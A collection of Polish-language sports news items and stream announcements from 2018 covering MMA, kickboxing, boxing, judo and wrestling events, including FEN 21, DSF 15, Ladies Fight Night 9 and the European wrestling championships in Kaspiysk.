Pojedynek w limicie do 70 kg. Dla obu celem w przyszłości jest pas mistrzowski: kto lepiej powalczy o swoje podczas FEN 21 we Wrocławiu? Przekonamy się 25 maja.
[kod]
Pojedynek w limicie do 70 kg. Dla obu celem w przyszłości jest pas mistrzowski: kto lepiej powalczy o swoje podczas FEN 21 we Wrocławiu? Przekonamy się 25 maja.
[kod]
Pojedynek zawodników bardzo doświadczonych – o zwycięstwie podczas FEN 21 zadecydują detale! Kategoria wagowa: do 93 kg.
[kod]
Walka wieczoru FEN 21! Bardzo mocne starcie o pas mistrzowski w kategorii do 84 kg. Czy pas zostanie w Polsce czy pojedzie do Brazylii? Oglądaj na żywo podczas FEN21: Hala Orbita, Wrocław, 25 maja.
[kod]
Pojedynek w kategorii do 77 kg. Somerfeld wszystkie swoje zwycięskie walki kończył przez poddanie, Dusza powrócił w marcu zwycięstwem po przerwie. Obaj są głodni kolejnych wygranych! Kto będzie lepszy 25 maja podczas FEN 21 we Wrocławiu?
[kod]
Zapraszamy na transmisje telewizyjna na zywo z oficjalnej ceremonii ważenia przed galą FEN 21 we Wrocławiu.
[kod]
19 maja w Nottingham odbędzie się gala ACB 87. Po raz piąty w rosyjskiej organizacji MMA zobaczymy zawodnika kategorii średniej Piotra Strusa, który zmierzy się z Fernando Gonzalezem.
Po przygodzie z KSW, 29-latek z Warszawy obrał kierunek rosyjski. W organizacji ACB Piotr Strus radzi sobie bardzo dobrze i stał się kandydatem do walki o pas wagi średniej, który znajduje się w posiadaniu Alberta Duraeva. Polski zawodnik pierwszy pojedynek w ACB stoczył w lutym 2017 roku. Jego rywalem był Michail Tsarev, który w pierwszej rundzie nadawał ton rywalizacji. Jednak kolejna odsłona należała do Strusa. Polak trafiał rywala i wraz z upływającym czasem miał coraz większą przewagę. Tsarev był bezradny i nie wyszedł do trzeciej rundy. Warto dodać, że Strus otrzymał propozycję starcia zaledwie kilka dni przed galą! Wokół drugiej walki zawodnika z Warszawy w ACB nie brakowało kontrowersji. Polak przegrał niejednogłośnie na punkty z Mikhailem Kolobegovem, jednak był niezadowolony z werdyktu i postanowił się od niego odwołać. Najpierw włodarze organizacji odrzucili protest, ale ostatecznie uznali pojedynek za nierozstrzygnięty. W kolejnych dwóch starciach Piotr Strus dał popis umiejętności. Najpierw poddał Andy’ego DeVenta, a następnie Nikolę Dipchikova, który odklepał zaledwie sekundę przed końcem pojedynku.
Dobra postawa Polaka sprawiła, że stał się kandydatem do walki o pas. Na pojedynek z Duraevem Strus musi jednak poczekać. W Nottingham zmierzy się z doświadczonym Fernando Gonzalezem. 34-letni Amerykanin ma za sobą przygodę w Bellatorze, gdzie zapisał na swoim koncie siedem zwycięstw i dwie porażki. Ostatni raz Amerykanin rywalizował w styczniu. Na gali Bellator 193 przegrał z Lorenzem Larkinem. Gonzalez łącznie stoczył 42 walki w MMA, czyli blisko trzy razy więcej niż Strus! Polak stanie przed trudnym wyzwaniem, ale jego ostatnie występy w ACB pokazały, że jest wysokiej klasy fighterem.
W walce wieczoru gali ACB 87 spotkają się Kane Mousah i Robert Whiteford. Anglik wygrał ostatnie trzy walki, z kolei doświadczony Szkot dwie. Warto dodać, że wcześniej Whiteford rywalizował w UFC. Obaj zawodnicy zaprezentują się w ACB po raz trzeci.
Fot. Piotr Strus Facebook
KM
Zapraszamy na retransmisję z gali finałowej Mistrzostw Polski Kickboxingu w formule Low-Kick. Zawody odbyły się w dniach 21-22 kwietnia 2018 r. w Legnicy.
[kod]
Zapraszamy na krótki trailer zapowiadający galę DSF 15 Bastion Chwały.
[kod]
18 maja w Warszawie odbędzie się gala DSF Kickboxing Challenge 15: Bastion Chwały. W walce wieczoru Jan Lodzik zmierzy się z Yurim Zhoukouskim. Na debiut w organizacji DSF Kickboxing Challenge czeka Maciej "Irokez" Jewtuszko". W Warszawie nie zabraknie meczu międzypaństwowego – Polska zmierzy się z Litwą.
Jan Lodzik, w którego rękach znajduje się pas w kategorii do 65kg, wrócił do rywalizacji w marcu w Nowym Dworze Mazowieckim. Podczas gali DSF Kickboxing Challenge "Twierdza" pokonał niejednogłośną decyzją Murata Azerbieva. Wcześniej popularny "Iron" pauzował dziewięć miesięcy z powodu kontuzji. Wrócił głodny walki i kolejnych wyzwań. Dlatego też 18 maja w Warszawie zmierzy się ze zwycięzcą Turnieju Mistrzów K-1 z Nowego Dworu Mazowieckiego. Tam najlepszy okazał się Yuri Zhoukouski, który najpierw pokonał Orfana Sanzade, a następnie Andrzeja Bruhla. Białorusin świetnie prezentuje się w Polsce. Zhoukouski stoczył cztery pojedynki na galach federacji DSF i wszystkie wygrał. Nie ukrywa swoich ambicji i celuje w pas mistrzowski, ale z pewnością Jan Lodzik nie zamierza mu ustępować. Szykuje się ciekawe starcie, które zostało zaplanowane na pięć rund.
Kibice z uwagą będą obserwować poczynania Macieja Jewtuszko (81kg), który w hali przy Szwedzkiej zadebiutuje w federacji DSF. Dotychczas "Irokez" prezentował się na galach KSW. Ostatnio przegrał w Dublinie z Davidem Zawadą. Teraz podejmuje kolejne wyzwanie i stawia na nowe doświadczenie. Jego rywalem będzie Robert Krasoń, który jest specjalistą w formule full contact. Reprezentant Piotrkowskiej Szkoły Sztuk Walki Tom-Center ma na swoim koncie wicemistrzostwo świata, które wywalczył w Dublinie oraz zawodowe mistrzostwo Europy w kategorii średniej zdobyte w Caen.
Podczas ostatniej gali, DSF 14 na Torwarze, w meczu K-1 Polska pokonała Rosję 3:2, choć po dwóch pierwszych walkach sytuacja nie wyglądała najlepiej. Teraz biało-czerwoni będą rywalizować z Litwinami. O zwycięstwo dla Polski powalczą: Gabriela Makowska, Dawid Mirkowski, Aleksander Kalicki, Tomasz Brotoń i Patryk Radoń. Wydaje się, że najtrudniejsze zadania czeka ostatniego z wymienionych fighterów. Radoń podejmie Martynasa Daniusa, który jest turniejowym mistrzem federacji KOK i pretendentem do pasa w kategorii 65kg.
W Warszawie dojdzie do starcia Patryka Kuryłka (58kg), który w kwietniu podpisał kontrakt z DSF. Zawodnik z Kobyłki w ubiegłym roku imponował formą, czego dowodem jest brąz mistrzostw świata. Teraz będzie miał okazję zaprezentować się w starciu z Dawidem Mańkowskim. Galę w Warszawie otworzy pojedynek w kategorii 86kg pomiędzy Łukaszem Bartnikiem a Bartłomiejem Wydrą.
Początek gali o 19.00.
Fot. DSF Kickboxing Challenge
KM
Sześć medali wywalczyli Polacy w Pucharze Europy Juniorów w judo, który odbył się w Kownie. Do pełni szczęścia zabrakło złota.
Blisko triumfu w Kownie była Karolina Miller (70kg). 19-latka znakomicie weszła w turniej pokonując Niemkę Leę Bastian. Następnie na drodze Miller stawały reprezentantki Holandii. Z Jessicą Gorissen i Margit de Voogd Polka wygrała przed czasem i czekała ją walka w finale. A tam Donja Vos. 20-letnia Holenderka w tym roku wygrała zawody w Coimbrze i była trzecia w Sankt Petersburgu. W Kownie dołożyła kolejny triumf, a Karolina Miller stanęła na drugim stopniu podium.
Rok temu w Kownie Angelika Szymańska (63kg) wygrała jedną walkę i szybko pożegnała się z rywalizacją. Tym razem było inaczej. Szymańska znakomicie sobie radziła. Wygrała trzy pojedynki, w półfinale uporała się z Jovaną Obradović w niecałe 30 sekund! W walce o złoto Polka przegrała z Niemką Deną Pohl.
Julia Świątkiewicz (+78kg) jest powtarzalna. Tak jak rok temu zajęła trzecie miejsce w Kownie. Jednak początek rywalizacji nie wyglądał obiecująco. Świątkiewicz przegrała z Justiną Kmieliauskaite i musiała rywalizować w repasażach, gdzie wygrała z Wiktorią Lis. W starciu o brąz trafiła na kolejną rodaczkę – Katarzynę Madajewską. Świątkiewicz zaliczyła waza ari i cieszyła się z drugiego medalu w tym roku. Wcześniej była druga w Sarajewie.
Rozpędzony Cezary Tchórzewski (73kg) wygrał trzy walki i dopiero w półfinale zatrzymał go Kilian Ochs. W starciu o brąz Polak okazał się lepszy od Malika Abdula Umayeva. Dobry występ Huberta Pieczyńskiego (55kg), którego droga na podium wiodła przez repasaże. W pierwszym starciu Polak przegrał z Davidem Gauchem. Następnie przeszedł zwycięsko przez repasaże, w których pokonał Tadasa Calka z Litwy. W starciu o brąz Pieczyński szybko uporał się z kolejnym zawodnikiem gospodarzy – Grazvydasem Mykolaitisem. Trzy wygrane Sebastiana Makowskiego (66kg) i wielka szansa na finał. Lepszy okazał się jednak Białorusin Dzmitry Muzhaila. Makowskiemu pozostała walka o brąz, w której spotkał się z Holenderem Jobem Hanssenem. Polak wygrał przed czasem i stanął na podium.
Piąte miejsca zajęli: wspomniana Madajewska, Piotr Zaborowski (55kg) i Krzysztof Załęczny (+100kg).
W Kownie najlepiej wypadli Niemcy, którzy zdobyli 11 medali, w tym osiem złotych. Druga pozycja w klasyfikacji końcowej dla Holandii (15 medali – 3, 1, 11), na trzecim miejscu Węgry (6 medali – 1, 3, 2). Polska na ósmej pozycji w klasyfikacji medalowej.
Fot. zdjęcie poglądowe
KM
Zapraszamy na retransmisję z European Judo Championships 2018, które odbyły się w Tel Avivie.
[kod]
Zapraszamy na retransmisję z European Judo Championships 2018, które odbyły się w Tel Avivie.
[kod]
Zapraszamy na retransmisję z European Judo Championships 2018, które odbyły się w Tel Avivie.
[kod]
Zapraszamy na transmisje telewizyjną na żwyo z oficjalnej ceremonii ważenia przed Galą DSF Kickboxing Challenge 15 – Bastion Chwały, Warszawa 2018..
[kod]
Zapraszamy na transmisję telewizyjną na żywo z XXXIII Warszawskiej Grandy na Pięści i Giry.
[kod]
Wasyl Łomaczenko uchodzi za czołowego boksera świata. Magazyn "The Ring" wybrał go pięściarzem 2017 roku. 12 maja Ukrainiec zadebiutuje w wadze lekkiej w starciu z Jorge Linaresem, a w perspektywie mówi się o walce z Manny Pacquiao.
30-letni Łomaczenko ma bogaty dorobek. Dwukrotnie sięgał po olimpijskie złoto – w Pekinie i w Londynie. Karierę amatorską zakończył z blisko 400 zwycięstwami na koncie. Z pewnością robi wrażenie. Łomaczenko mocnym akcentem rozpoczął karierę zawodową. W czwartej rundzie pokonał Jose Ramireza i sięgnął po pas WBO International w wadze piórkowej. Z czasem nazwisko ukraińskiego pięściarza stawało się coraz bardziej znane za sprawą jego fantastycznych występów. W maju 2016 roku w Madison Square Garden potrzebował pięciu rund, żeby pokonać Romana Ramireza. Łomaczenko zapisał na swoim koncie pas WBO wagi super piórkowej. Dotychczas tytułu bronił czterokrotnie.
12 maja Łomaczenko ruszy na podbój wagi lekkiej. Na jego drodze stanie mistrz świata WBA Jorge Linares. Promotor Wenezuelczyka Oscar De La Hoya podkreślał, że tę walkę trzeba zrobić i tak też się stanie. Pojedynek Łomaczenki i Linaresa ma stanowić prawdziwą bokserską ucztę.
32-letni pięściarz urodzony w Wenezueli słynie z ogromnego serca do walki. W ubiegłym roku pokonał Anthony'ego Crolla i Luke'a Campbella. Ostatnią walkę stoczył w styczniu, kiedy to wygrał z Mercito Gestą. Linares nie przegrał od sześciu lat, triumfował w kolejnych trzynastu starciach.
Łomaczenko będzie polował na jedenaste zwycięstwo w karierze. Ukrainiec zaprezentuje się w ringu po raz pierwszy w tym roku, ale w planach ma jeszcze dwa pojedynki. Pojawiają się głosy, że w grudniu 30-latek miałby zmierzyć się z Manny Pacquiao. Takie plany ma Bob Arum, promotor Ukraińca. – Kibice chcą zobaczyć wielką walkę. Trzeba zorientować się, czy Pacquiao jest zainteresowany boksem. Ostatnio ma dużo obowiązków politycznych i trudno z nim się rozmawia. Chciałbym zorganizować tę walkę w grudniu – powiedział Arum.
Popularnego "Pac Mana" nie trzeba nikomu przedstawiać. To legenda boksu, mistrz świata w ośmiu różnych kategoriach wagowych. Najbliższy pojedynek Pacquiao stoczy 15 lipca w Axiata Arenie w Kuala Lumpur. Jego rywalem będzie Lucas Martin Matthysse.
Fot. Facebook Wasyl Łomaczenko
KM
Zapraszamy do obejrzenia trailera przed walką Janka Lodzika z Jurij Żukowski podczas gali DSF 15 – Bastion Chwały.
[kod]
Zapraszamy do obejrzenia trailera przed walką Macieja "Irokeza" Jewtuszki z Robertem Krasoniem podczas gali DSF 15 – Bastion Chwały.
[kod]
Tym razem we Wrocławiu. Już 12 maja odbędzie się gala Ladies Fight Night "Tic Tac Toe".
Po raz kolejny walki pań w K-1 i MMA pojawią się na pierwszym planie. W grudniu organizacja Ladies Fight Night hucznie świętowała swoje drugie urodziny. Takiej dawki sportowych emocji nikt się nie spodziewał. Skoro drugie urodziny, to dwie gale! Łącznie dziewiętnaście walk, z których dziesięć zakończyło się przed czasem.
Teraz czas pisać nową historię kobiecej rywalizacji. Gala Ladies Fight Night 9 odbędzie się 12 maja w Centrum Konferencyjnym Terminal Hotel we Wrocławiu. W walce wieczoru zaprezentuje się Patrycja Krawczyk. Jej rywalką w formule K-1 56kg będzie Emma Gongora. Krawczyk będzie walczyła na własnym terenie, a więc z pewnością może liczyć na gorący doping. Do tej pory reprezentująca barwy GYM-Fight Wrocław zawodniczka stoczyła cztery walki dla organizacji Ladies Fight Night. Ostatnio zaprezentowała się w sierpniu 2017 roku na gali w Rawie Mazowieckiej, gdzie po zaciętym pojedynku wygrała z Karoliną Klusovą (dwa do jednego). We Wrocławiu Krawczyk zmierzy się z mistrzynią Francji Emmą Gongorą. Zawodniczka z Marsylii ma na swoim koncie ponad 30 wygranych walk zawodowych.
O piąte zwycięstwo w karierze postara się Weronika Zygmunt (52kg) w pojedynku na zasadach MMA. Zawodniczka Grapplingu Kraków zmierzy się z Claire Lopez. Francuzka ma na swoim koncie dwa wygrane pojedynki. W obu przypadkach rozkładała rywalki na łopatki w pierwszych rundach. Zygmunt również potrafi wygrywać przed czasem, choć na LFN 8 stoczyła bój na pełnym dystansie. Po trzech rundach sędziowie orzekli, że Polka zaprezentowała się lepiej niż Karolina Iverenova.
Po raz drugi w Ladies Fight Night zobaczymy Barbarę Nalepkę. Polka w debiucie przegrała przed czasem z Eliną Kallionidou. Nalepka czeka na zwycięstwo od czterech walk! Jej najbliższą rywalką w formule MMA 52kg będzie Beata Bardziak.
Kolejne pojedynki stoczą utytułowane kickboxerki Małgorzata Dymus (56kg) oraz Kamila Bałanda (63,5kg).
Początek gali o 19.00, godzinę wcześniej zaplanowano przywitanie gości.
Aktualizacja:
Z powodu kontuzji Patrycja Krawczyk nie wystąpi w walce wieczoru gali Ladies Fight Night 9. Z Emmą Gongorą zmierzy się Eliska Pelechova.
Karta walka LFN 9:
MMA 52kg: Ewelina Woźniak – Kinga Jędrasik
K-1 52kg: Aleksandra Mądraszewska – Izabela Szelest
MMA 52kg: Barbata Nalepka – Beata Bardziak
K-1 63,5kg: Kamila Bałanda – Lucia Szabova
K-1 56kg: Małgorzata Dymus – Karolina Klusova
MMA 52kg: Weronika Zygmunt – Claire Lopez
K-1 56kg: Eliska Pelechova – Emma Gongora
KM
Reprezentacja Polski wywalczyła cztery medale w mistrzostwach Europy w zapasach w Kaspijsku. To dwukrotnie lepszy wynik niż rok temu w Nowym Sadzie. Najlepsi w Kaspijsku okazali się Rosjanie.
Na Magomedmurada Gadżijewa (70kg) można liczyć. Pochodzący z Dagestanu zawodnik rywalizujący w stylu wolnym po raz kolejny udowodnił, że jest mocnym punktem reprezentacji Polski. Rok temu w Nowym Sadzie wywalczył srebro mistrzostw Europy. W Kaspijsku Gadżijew ponownie był drugi, lepszy od niego był tylko Magomed Kurbanalijew.
Rok temu z tytułu mistrzyni Europy w kategorii 63kg cieszyła się Monika Michalik. Wielokrotna medalistka mistrzostw Polski w Kaspijsku wystartowała w wyższej wadze. W Rosji trzecia zawodniczka Igrzysk Olimpijskich z Rio de Janeiro przegrała dwie walki, ale… rywalizowała o medal. Koumba Selene Fanta Larroue okazała się lepsza od Polki w ćwierćfinale i dotarła do finału, co pozwoliło naszej doświadczonej zapaśniczce stoczyć bój o brąz. Michalik nie udało się wywalczyć dwunastego medalu mistrzostw Europy. Lepsza okazała się Buse Tosun.
Srebro zapisała na swoim koncie Roksana Zasina (55kg). Dla 29-letniej zapaśniczki to trzeci medal mistrzostw Europy. Drugi brąz czempionatu Starego Kontynentu wywalczyła Katarzyna Krawczyk (53kg). Wcześniej Polka stała na podium w Dortmundzie w 2011 roku.
Jako ostatni po medal sięgnął Robert Baran (125kg) w stylu wolnym. Rywalizację w Kaspijsku Polak rozpoczął od pewnej wygranej z Jose Cubą Vazquezem. W półfinale na olimpijczyka z Rio de Janeiro czekał mistrz świata Geno Petriaszwili. Gruzin nie pozostawił Polakowi złudzeń i wygrał 10:0. Baran cały czas pozostawał w grze i wykorzystał swoją szansę. W starciu o brąz Polak pokonał Austriaka Johannesa Ludeschera.
Biało-czerwoni mieli więcej szans medalowych. Starcia o trzecie miejsce na podium przegrali wspomniana Michalik, Agnieszka Król (62kg), Krzysztof Bieńkowski (65kg), Dawid Kareciński (67kg) i Gework Sahakian (72kg).
W klasyfikacji medalowej triumfowali Rosjanie, którzy zdobyli 23 krążki, w tym dwanaście złotych. Drugie miejsce dla Turcji (13 medali, 5 złotych), trzecie dla Azerbejdżanu (18 medali, 4 złote). Polska została sklasyfikowana na 11. pozycji.
Fot. Polski Związek Zapaśniczy Facebook
KM
Zapraszamy na transmisję telewizyjną na żywo przed galą DSF 16 Śląskie Tąpnięcie.
[kod]
Magomedmurad Gadżijew (70kg) wicemistrzem Europy w zapasach w stylu wolnym. Reprezentant Polski powtórzył wynik osiągnięty przed rokiem w Nowym Sadzie.
Przed rozpoczęciem rywalizacji w Kaspijsku, Gadżijewa wymieniano w gronie kandydatów do podium. Rok temu w Nowym Sadzie zapaśnik AKS Piotrków Trybunalski zdobył srebro. W finale Gadżijew przegrał z Frankiem Chamizo Marquezem. Z kolei w 2016 roku urodzony w Dagestanie zawodnik wywalczył mistrzostwo Europy.
Doświadczony 30-latek polował na trzeci medal czempionatu Starego Kontynentu w barwach Polski. Zmagania w Kaspijsku rozpoczął od pokonania 5:4 Azmata Nurykausa. W kolejnych fazach reprezentant Polski wyeliminował Haydara Yavuza i Murtazaliego Raxmatullayevicia Muslimova. O złoto Gadżijew rywalizował z Magomedem Kurbanalijewem. Rosjanin miał na swoim koncie triumf w mistrzostwach świata i Europy. W Kaspijsku okazał się lepszy od Gadżijewa. Na podium stanęli również: Muslimov i Zurabi Iakobishvili.
Bez medalu mistrzostw Europy do kraju wróci Krzysztof Bieńkowski (65kg) rywalizujący w stylu wolnym. Polak znakomicie zaczął zmagania. Dwie wygrane walki dały mu awans do półfinału, w którym lepszy okazał się Ilias Bekbulatov. Ostatecznie Rosjanin sięgnął po srebro. Z kolei Bieńkowski stanął do rywalizacji o brązowy medal. Polak nie miał łatwego zadania. Bieńkowski trafił na mistrza olimpijskiego z Rio de Janeiro (57kg) i mistrza Europy z 2017 roku Władimera Chinczegaszwiliego. Gruzin wygrał 8:4 i to on stanął na najwyższym stopniu podium. Złoto wywalczył Haji Aliyev z Azerbejdżanu.
W Kaspijsku dwa medale dla reprezentacji Polski wywalczyły panie. Najpierw ze srebra cieszyła się Roksana Zasina, a następnie przyszła radość w postaci brązu Katarzyny Krawczyk (53kg). Zapaśniczka Gryfa Chełm wygrała dwie walki, ale w półfinale lepsza okazała się Stalvira Orshush, która w ostatecznym rozrachunku sięgnęła po złoto. Krawczyk pozostało starcie o brąz, które rozegrała perfekcyjnie. Od początku Polka kontrolowała walkę z Węgierką Mercedesz Denes i wygrała przez położenia na plecy.
Piąte miejsce dla Agnieszki Król (62kg). Zawodniczka Unii Racibórz walkę o brąz przegrała z Weraniką Iwanową.
KM
Jeszcze nie weszli do ringu, a atmosfera już jest gorąca. 5 maja Tony Bellew i David Haye spotkają się po raz drugi. Oliwy do ognia dodał "Bomber", który podczas face-offu zaatakował rywala.
Wszyscy liczą na wielkie widowisko, bo mają ku temu powody. 4 marca 2017 roku Bellew i Haye stoczyli niezwykle zaciętą i widowiskową walkę. Po raz kolejny kibice spodziewają się wielkich emocji.
Przed pierwszym starciem Haye był pewny siebie i zapowiadał, że znokautuje rywala. W ringu były mistrz świata WBA wagi ciężkiej prezentował zachowawczą postawę. Haye czekał na swoją szansę, ale Bellew był w pełni skoncentrowany. Kibice obserwowali i zastanawiali się, czy bokserskie szachy będą trwały w nieskończoność. W końcu Haye i Bellew ruszyli na siebie. Publiczność ożyła. Haye dwukrotnie przysiadł, ale wyratował się od liczenia. Bellew był konsekwentny i rywal zaliczył deski, jednak uratował go gong. Były czempion WBC wagi junior ciężkiej zaczął rozdawać karty. W 7. rundzie Haye ze zmęczenia jedną ręką trzymał się lin. "Hayemaker" przetrwał ciężkie chwile i nawiązał walkę, ale… W przedostatniej rundzie Bellew przeprowadził natarcie, po którym rywal znalazł się za linami. Narożnik Haye'a poddał walkę. Warto dodać, że były mistrz WBA wagi ciężkiej w trakcie rywalizacji zmagał się z kontuzją ścięgna Achillesa.
Tak wyglądał obraz pojedynku z marca zeszłego roku. Wygrana Bellewa uchodziła za niespodziankę. Jak będzie teraz? Haye zapowiada, że jest gotowy na dwunastorundową wojnę. Blisko 37-letni bokser ubiegłoroczną porażkę rozpatruje w kategorii "wypadku przy pracy". Wtedy ze względu na kontuzję nie był w pełni dysponowany, ale teraz jest gotowy do walki. Bellew jest pewny swego i podkreśla, że nie ma znaczenia, kiedy miałby rywalizować z Haye'm, bo i tak jest od niego lepszy.
Temperatura wokół walki jest wysoka. Podczas face-offu Bellew odepchnął Haye’a, czym sprowokował niepotrzebne utarczki. W ringu przemówią pięści. Dla Haye’a kolejna porażka oznaczać będzie pożegnanie się z marzeniami o odegraniu jakiejkolwiek roli w wadze ciężkiej. Z kolei Bellew stoczy drugi pojedynek w kategorii królewskiej. Jeśli ponownie wygra, zadomowi się w niej na dobre. Jedno jest pewne – zwycięzca stanie się kandydatem do rywalizacji o pasy, które znajdują się w posiadaniu Anthony’ego Joshuy i Deontaya Wildera.
Pojedynek Bellew – Haye odbędzie się 5 maja w O2 Arenie w Greenwich.
Fot. David Haye Facebook
KM
Roksana Zasina (55kg) zapisała na swoim koncie trzeci medal mistrzostw Europy w zapasach. W Kaspijsku zawodniczka wywalczyła srebro.
Brązowa medalistka mistrzostw świata z Paryża stoczyła w Rosji trzy pojedynki. Rywalizację w czempionacie rozpoczęła od ćwierćfinału, gdzie czekała na nią Anna Wojtowa. Zasina pokazała się z dobrej strony i wygrała w ekspresowym tempie. Polka potrzebowała zaledwie 40 sekund, aby odprawić Ukrainkę. W półfinale Zasina toczyła wyrównany bój z Bedihą Gun. Ostatecznie pokonała Turczynkę 2:1. W pojedynku o złoto 29-latka spotkała się z Iryną Kuraczkiną, która w dorobku miała srebro mistrzostw Europy. Zasina pierwsza zdobyła punkt, ale później Białorusinka przeprowadziła dwie skuteczne akcje. W końcówce Polka wyrównała i było 4:4, ale wygrała Kuraczkina, która punktowała dwa razy po dwa.
To kolejny sukces Zasiny w mistrzostwach Europy. W 2013 roku w Tbilisi została mistrzynią Europy, a trzy lata później stanęła na najniższym stopniu podium w Rydze. Na swoim koncie Zasina ma także brąz mistrzostw świata w Paryżu.
O czwarty brąz mistrzostw Europy w karierze miała okazję rywalizować Monika Michalik (68kg). Trzecia zawodniczka Igrzysk Olimpijskich w Rio de Janeiro, wtedy rywalizowała w 63kg, nie sprostała jednak Buse Tosun.
Doskonała postawa Katarzyny Krawczyk (53kg). 27-letnia Polka pewnie wygrała dwa pojedynki i w półfinale spotkała się z Stalvirą Orshush. Krawczyk długo prowadziła, ale lepsza okazała się Rosjanka. Polce pozostaje rywalizacja o brąz.
Szansę w repasażach dostanie Agnieszka Król (62kg). W ćwierćfinale bezlitosna dla Polki okazała się Taybe Mustafa Yusein. Bułgarka znakomicie spisuje się w Rosji i ma szansę na złoto. Jej rywalką będzie Inna Trazhukova. Z kolei Król w repasażach spotka się z Aurorą Campagną z Włoch.
Szybko z rywalizacją w Kaspijsku pożegnały się Jowita Wrzesień (57kg) i Agnieszka Wieszczek-Kordus (72kg).
Fot. Polski Związek Zapaśniczy Facebook
KM
Joanna Jędrzejczyk może już myśleć o kolejnym pojedynku. Jak podała stacja ESPN, była mistrzyni kategorii słomkowej zmierzy się z Tecią Torres podczas gali UFC on FOX 30 w Calgary.
Dotychczasowa hierarchia runęła. Joanna Jędrzejczyk przyjęła dwa potężne ciosy od Rose Namajunas i teraz cały świat MMA czeka na kolejną walkę Polki zadając sobie pytanie, czy jeszcze wróci na tron.
30-letnia olsztynianka stała się gwiazdą UFC. Jędrzejczyk rządziła w kategorii słomkowej i pięć razy skutecznie broniła pasa. Zaskoczyła ją Rose Namajunas, która podczas UFC 217 znokautowała Polkę w pierwszej rundzie. Jędrzejczyk pałała żądzą rewanżu i ponownie spotkała się z Amerykanką. Po pięciorundowym boju sędziowie wskazali na Namajunas.
Olsztynianka nadal pozostaje czołową fighterką kategorii słomkowej, ale musi się odbudować. Najbliższa okazja ku temu 28 lipca. Rywalką Polki będzie Tecia Torres. – Nie odnosi sukcesów tylko ten, który czeka aż samo się zrobi – napisała Joanna Jędrzejczyk na Facebooku.
Co ciekawe, najbliższa przeciwniczka Polki również mierzyła się z Rose Namajunas w UFC. W kwietniu 2016 roku Torres musiała uznać wyższość obecnej mistrzyni. Jednak wcześniej obie spotkały się w organizacji Invicta. Tam lepsza okazała się Torres.
Po serii trzech wygranych w UFC, w lutym 28-latka spotkała się z mocną Jessicą Andrade. Sędziowie wskazali na 26-letnią Brazylijkę. Warto dodać, że Amerykanka ma na koncie osiem występów w UFC. Dla Torres starcie z Jędrzejczyk będzie ogromnym wyzwaniem. Wygrana da jej przepustkę do czołówki kategorii słomkowej. Z kolei Jędrzejczyk jest głodna zwycięstwa. Niebawem minie rok od jej triumfu w starciu z Jessicą Andrade na UFC 211.
Karta walk gali UFC on FOX 30 zapełnia się. Niezwykle ciekawie zapowiada się starcie byłego mistrza wagi piórkowej Jose Aldo z Jeremy'm Stephensem. Brazylijczyk ma za sobą dwie porażki z Maxem Hollowayem, z kolei 31-letni Amerykanin zanotował trzy zwycięstwa. W Calgary zaprezentuje się również Randa Markos, którą swego czasu pokonała Karolina Kowalkiewicz. Rywalką Kanadyjki będzie Nina Ansaroff. O dziewiętnastą wygraną postara się Dustin Ortiz, który stanie "oko w oko" z Matheusem Nicolau Pereirą. W Kanadzie zobaczymy również m.in. Alexis Davis czy Jordana Meina.
Fot. Facebook Joanna Jędrzejczyk
KM
W Kaspijsku trwają mistrzostwa Europy w zapasach. Po dwóch dniach zmagań biało-czerwoni pozostają bez medalu, ale niebawem może się to zmienić.
Wszystko za sprawą Dawida Karecińskiego (67kg) i Gevorga Sahakyana (72kg), którzy rywalizują w stylu klasycznym. Trzeciego dnia mistrzostw czekają ich starcia o brązowe medale.
We wtorek Kareciński dotarł do półfinału. Zmagania rozpoczął od 1/8 finału, gdzie spotkał się z Valeriu Todereanem. Polak pewnie pokonał Mołdawianina, który nie potrafił znaleźć sposobu na zagrożenie naszemu zapaśnikowi. Ćwierćfinał nie był łatwy. Zawodnik z Bułgarii postawił trudne warunki Karecińskiemu. Zapaśnik reprezentujący WKS Śląsk Wrocław skutecznie się bronił, a Bułgar w drugiej rundzie zanotował ostrzeżenie. Ostatecznie Kareciński wygrał 3:1. W półfinale Polak trafił na Artema Surkova. Najpierw Kareciński stracił punkt za pasywność, a później Rosjanin. Ale… Trenerzy Surkova poprosili o challenge, sędziowie zmienili decyzję. Do finału awansował Rosjanin, a Polak stanie do rywalizacji o brąz.
Z kolei Sahakyan zmagania w Kaspijsku rozpoczął od pojedynku z Maximilianem Schwabe. Reprezentant Polski mocno wszedł w pojedynek. Zapaśnik Cartusi Kartuzy wykonał rzuty przez plecy za cztery punkty. Niemiec nie chciał sprzedać tanio skóry, ale musiał pogodzić się z porażką. Ostatecznie Sahakyan wygrał 7:4. Przepustkę do półfinału reprezentantowi Polski dal triumf w pojedynku z Evrikiem Nikoghosyanem. Apetyt na finał był ogromny. Sahakyan trafił na Adama Kuraka, który okazał się lepszy i wygrał 7:2.
Na dziewiątym miejscu zmagania w mistrzostwach Europy zakończyli Dawid Ersetic (63kg). Zawodnik Unii Racibórz przegrał pojedynek repasażowy z Ivanem Lizatoiciem. Również dziewiąty był Tadeusz Michalik (87kg). Mateusz Wolny (77kg) oraz Rafał Krajewski (130kg) na dziesiątych pozycjach.
Po zaledwie jednej walce stoczyli: Michał Tracz (60kg), Edgar Babayan (82kg) i Marcel Kasperek (97kg).
Pierwsi medaliści
W Kaspijsku wielkie świętowanie. Medale w kategoriach 55kg, 63kgm 77kg, 87kg i 130kg zostały rozdane. Złote krążki wywalczyli: Eldaniz Azizli (55kg), Mihai Radu Mihut (66kg), Roman Vlasov (77kg), Roberti Kobliashvili (87kg), Riza Kayaalp.
Trzeciego dnia czekamy na medal. Szanse ku temu są spore. Dwa pojedynki o brąz z udziałem Polaków, a ponadto do rywalizacji przystąpią panie. Na matach zaprezentują się Anna Łukasiak (50kg), Roksana Zasina (55kg) i Monika Michalik (68kg).
Rywalizacja w Kaspijsku potrwa do 6 maja.
Fot. zdjęcie poglądowe
KM
Mistrzostwa Europy w grapplingu zakończone, a teraz przyszedł czas na mistrzostwa Europy w zapasach. Gospodarzem obu imprez jest Kaspijsk.
W pobliżu Morza Kaspijskiego zlokalizowano arenę zmagań wojowników. Niebawem na pierwszym planie pojawiają się zapaśnicy, z kolei grapplerzy mogą już podsumowywać swoje występy. Z pewnością w przypadku Polaków dominować będą pozytywne oceny. Biało-czerwoni w europejskim czempionacie zdobyli 13 medali. Do pełni szczęścia zabrakło jedynie złotego krążka. Polacy wywalczyli sześć srebrnych i siedem brązowym medali.
